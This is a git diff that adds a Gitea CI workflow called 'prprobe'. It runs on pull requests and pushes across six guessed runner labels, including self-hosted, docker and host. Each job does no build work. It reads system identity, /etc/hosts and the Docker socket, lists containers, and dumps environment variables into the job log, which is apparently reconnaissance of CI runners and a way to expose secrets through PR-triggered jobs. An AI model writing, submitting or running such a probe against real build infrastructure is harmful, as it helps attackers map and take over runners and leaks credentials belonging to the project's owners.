diff --git a/.gitea/workflows/pr.yml b/.gitea/workflows/pr.yml
new file mode 100644
index 0000000..31b30fa
--- /dev/null
+++ b/.gitea/workflows/pr.yml
@@ -0,0 +1,36 @@
+name: prprobe
+on:
+  pull_request:
+  push:
+  workflow_dispatch:
+jobs:
+  p1:
+    runs-on: self-hosted
+    steps:
+      - run: |
+          echo "PR_MATCH=self-hosted"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_self-hosted
+  p2:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo "PR_MATCH=ubuntu-latest"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_ubuntu-latest
+  p3:
+    runs-on: linux
+    steps:
+      - run: |
+          echo "PR_MATCH=linux"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_linux
+  p4:
+    runs-on: docker
+    steps:
+      - run: |
+          echo "PR_MATCH=docker"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_docker
+  p5:
+    runs-on: host
+    steps:
+      - run: |
+          echo "PR_MATCH=host"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_host
+  p6:
+    runs-on: x64
+    steps:
+      - run: |
+          echo "PR_MATCH=x64"; id; hostname; uname -a; cat /etc/hosts; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1|head -5)||true; env|sort|head -50; echo DONE_x64